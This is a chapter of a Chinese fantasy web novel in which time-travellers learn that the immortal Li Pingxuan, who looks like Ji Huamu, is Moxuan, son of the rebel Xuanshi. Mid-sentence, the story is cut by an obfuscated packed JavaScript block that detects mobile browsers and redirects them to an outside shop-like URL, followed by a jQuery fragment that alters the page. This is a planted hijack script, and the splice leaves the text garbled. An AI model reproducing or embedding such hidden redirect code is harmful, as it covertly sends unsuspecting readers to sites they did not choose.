97. 人生若如初见(八)
作品:《如果有一天成为神》 在看清李凭轩的脸时,叶鸣箫的大脑一片空白,她忘记了周遭的一切,只是死死地盯着面前熟悉而陌生的人。
怎么可能?怎么可能!
李凭轩和季华暮怎么可能长着一张脸?
“什么意思?这到底怎么回事?”乔霖风一把抓住恍惚的叶鸣箫的肩膀,他也忍不住声音微抖,“我们来到这个时空,不仅遇见了曾经的孟留清,还遇到了曾经的季华暮?”
“不,姜如晏是孟留清,但李凭轩不可能是季华暮。”叶鸣箫推开他的手,坐在旁边的椅子上,“季华暮出现在人间的时候还是个婴儿,又不能像你我这样穿越时空,他不可能在唐朝就存在了。而且……李凭轩明显个子比季华暮高。”
“那李凭轩和季华暮是什么关系?父子?兄弟?亲戚?”乔霖风抓抓头发,“他们长得这么像,还都是仙族人,总不可能完全没有关系吧?”
叶鸣箫烦躁地又站起来:“我想不明白,我不知道!乔霖风,你先走吧,我自己再好好想想。”
她上了楼,前往李凭轩休息的房间,这是间光照不佳的小卧室。推开门叶鸣箫就再度嗅到空气中的热水与血气混杂的气息,屏风后亮着烛灯,元祈似乎在为李凭轩处理伤口。
“李凭轩……”
出声的却是元祈:“叶姑娘,李凭轩需要休息会,你先去吃晚饭吧。”
叶鸣箫失魂落魄地出来,又迎面差点撞上姜如晏:“不好意思。”
姜如晏扶住叶鸣箫,温声安慰:“叶姑娘,你不用担心,李公子他没事的。”
叶鸣箫勉强挤出一个笑,转身下楼,打开了他们放在桌子上的木盒。木盒中的簪子通体银白,形如缠绕的银蛇,末端镶嵌着的红宝石像极了蛇嘴边凝固的血珠。
看起来没有什么特别的。但珮引说过这件首饰是玄蚀小指骨炼成的法宝,倒是有些瘆人。
玄蚀为什么会用小指骨炼法宝?是她自己炼的还是其他仙族人炼的?这件法宝又有什么用处?为什么会被丢在人间一直没有收回?
叶鸣箫问姜如晏:“这是你母亲留给你的遗物吗?”
姜如晏:“是,虽然我与母亲没有见面,但父亲说过,母亲临死前要求把这支簪子留在我身边,不能让别人看见抢了去。”
“其他的没有再多说了?”
姜如晏摇头。
叶鸣箫再度陷入沉思,也许更多的信息从李凭轩那能够获取。
他们的晚饭是用元祈给的钱从外面买的打包饭菜。叶鸣箫吃得心不在焉,乔霖风同样心绪纷乱,只有安符燃迅速接受了现状且不再纠结,倒是让元祈和姜如晏心生疑惑,一晚上对看着就有心事的二人嘘寒问暖。
吃过晚饭,叶鸣箫再去看望李凭轩,元祈没再阻止。
她绕过屏风,坐在李凭轩的窗前,李凭轩似乎发着低烧,额头上敷着湿毛巾。银羽面具被放在床头,他那张熟悉的脸庞再一次出现在叶鸣箫的面前。
叶鸣箫避开了他的目光,问道:“他们想杀我们,为什么你却没想杀了他们?”
“仙族人禁止杀害凡人,你应该知道。”李凭轩的声音低哑,却带着笑意,“那为什么你不杀呢?”
“我……我没杀过人,我不敢。”但叶鸣箫清楚,当看见李凭轩的脸与他身上血迹的那一刻,她对这帮行凶者起了杀心。季华暮是她的底线之一,即使是和他长得一模一样的李凭轩也不能被伤害。
李凭轩笑了一声:“阿箫,你很善良。”
“可善良却害了你。”叶鸣箫垂下头,“你的伤怎么样了?”
“好多了,你不用担心。”李凭轩问,“那支簪子是你们在找的那一支吧?”
“是的,谢谢你!我们才能这么顺利找到它。”
“那你们是不是就要走了?”
叶鸣箫沉默了,她注视着那张银羽面具,半晌才开口:“对。”
“你似乎回来之后就不太敢看我,”李凭轩笑了笑,“是因为我很像他吗?”
叶鸣箫猛然抬头,无措地回望着李凭轩的眼睛:“……什么?”
“你透过我的脸在看另一个人,是你的心上人吗?”
“……”
叶鸣箫没有回答,只是直接站起身:“我……我先走了,你休息吧。”
“叶鸣箫!”李凭轩坐起来,喊住了她。
叶鸣箫停下脚步,却没有回头。
“你们在一起了吗?”
叶鸣箫低声回答:“没有。”而后脚步匆忙地踏出房门,还差点绊倒。
正要进来的元祈瞧见这一幕,摸不着头脑,一进门又看见李凭轩失魂落魄的模样,吓了一跳:“小祖宗,你怎么了?”
“没什么。”李凭轩扯下额头上的湿毛巾,语气幽怨。
“是不是装病给人家发现了?我就说,你伤早好了,还在这躺着干什么呢?人家姑娘眼尖着,可不吃你这一套……哎?祖宗,你又要去哪?”
“出去散心,明天回来。”
元祈目送着李凭轩消失在昏黄的暮色里,发觉自己越来越摸不透他的心思了。
.
叶鸣箫等人的原计划是在拿到簪子的第二天就返回自己的时空,即使这里仍然存在诸多谜团,但他们归心似箭,也为了避免夜长梦多。
据元祈传达,冥界次日晚上就会派人接走姜如晏,姜如晏也将簪子交给叶鸣箫等三人。
叶鸣箫和同伴也商量好,送走姜如晏再回家,直到第二天午后,李凭轩回来了,他看起来心情恢复了平静,提出要和这三名凡人谈一谈。
“别忘了,你们得告诉我你们要这簪子的用途,否则我不会让你们带走它。”
叶鸣箫率先开口:“千年之后,冥界会发生一场叛乱,罪魁祸首擅自勾走生魂破坏封锁自己的封印,导致无辜凡人死亡,还封锁冥界,不允许羲和族人进出。我们此行就是为了寻找这件法器加固封印,让那罪人不能逃离冥界。”
“我可从未听说这簪子还能封印人?你们要封印的是谁?”李凭轩皱起眉。
乔霖风回答:“玄蚀。”
叶鸣箫察觉到李凭轩的身形一僵,他眼中的诧异一闪而过,又迅速掩藏:“她叛乱杀人?”
“是啊。”
“玄蚀是因为什么而叛乱的?”
叶鸣箫思来想去,决定对未来的事有所保留:“她想去天界,向天廷控诉她所遭遇的不公正待遇。”
“她被关在冥界一千多年没叛乱,为什么偏偏在你们那个时代决定向天廷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16917360|174039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
讨公道?”
三个少年默默对视一眼,一齐向李凭轩摇头。
“行吧,”李凭轩缓缓打量面前三人的神色,“我还有一个问题。千年之后,你们……没见过我?”
叶鸣箫不明白他为什么要这样问,即使实在千年之后,以李凭轩潇洒自在的性格,在仙族之中也是显眼的存在吧。
毕竟她所认识的仙族人一个两个都总觉得心怀什么无法触碰的记忆。
更不用说是一个长得和季华暮如此相似的仙族人,倘若她见过,一定不会忘记。
见三人的神情不像是见过他的样子,李凭轩有些困惑,他在这个问题上格外执着:“其实我本名不是李凭轩。”
三人继续茫然地等待他继续说下去。
“仙族其实没有使用姓氏的习惯,你们所见到的本名带姓的仙族人大多和人间有直接渊源,比如元祈和姜如晏,他们是混血儿,有一个来自人间的姓氏很正常。但我不是,所以我的本名也不姓李。”
“我叫末轩。”
叶鸣箫的脑中在霎那间嗡鸣,她极力控制着自己的表情,转头看向同伴,乔霖风和安符燃的神色看起来没什么变化,但叶鸣箫心里清楚,他们的感受与自己别无二致。
与他们接触了这些时日的男子正是引发玄蚀叛乱的末轩。
而叶鸣箫不能表现出来,如果被对面人看破,她该如何解释这一切的前因后果?
告诉他,因为你在一千年后死了,你妈认为你是被天廷所害,所以铁了心要杀上天界给你报仇?告诉他,我们会来到这里都是拜你所赐,你才是这场叛乱真正的导火索?
“玄蚀是我母亲,所以,如果她要叛乱,我不可能不出面,你们当真不认识我?”
叶鸣箫意识到大概也藏不住了,只能含糊道:“我们只听说过你。”
“听说过,但没见过?”李凭轩狐疑地看她,叶鸣箫背上的冷汗都要掉下来了。
“其实,我们没去过冥界,只是天廷在人间的眼线,你那时候也没来人间,碰不到也是正常的。”
乔霖风编出了看似毫无漏洞的谎言,毕竟李凭轩不知道他们到底负责什么工作,也许能够糊弄过去。
“那你们为什么认识姜如晏?”
叶鸣箫也逐渐冷静下来,迅速找补:“姜如晏在千年之后常来往于人间和冥界之间,所以我们接触比较多。”
“这样啊。”李凭轩垂眼端详手中的簪子,最终还是递还给他们,“算了,你们带走它吧,未来的事我总有一天会知道究竟是怎么回事。”
三个人暗暗松了口气。
“你们打算今晚就走吗?”
叶鸣箫回答:“是的。你如果还有什么话想说现在就一起说了吧,以后大概……需要等很久了。”
李凭轩:“阿箫,再多留一天吧,明天就是千秋节,你们不想留下来体验一下吗?”
他的眼中似乎有哀求之色,叶鸣箫动容了。
在乔霖风还没来得及阻止的时候,她就开口答应,李凭轩的眼睛亮了起来:“谢谢!”
事后乔霖风质问叶鸣箫为什么,叶鸣箫翕动着双唇,抬手去触碰床头枯萎的桂枝,声音很轻:“他注定会死,乔霖风,请原谅我对他的恻隐之心。”

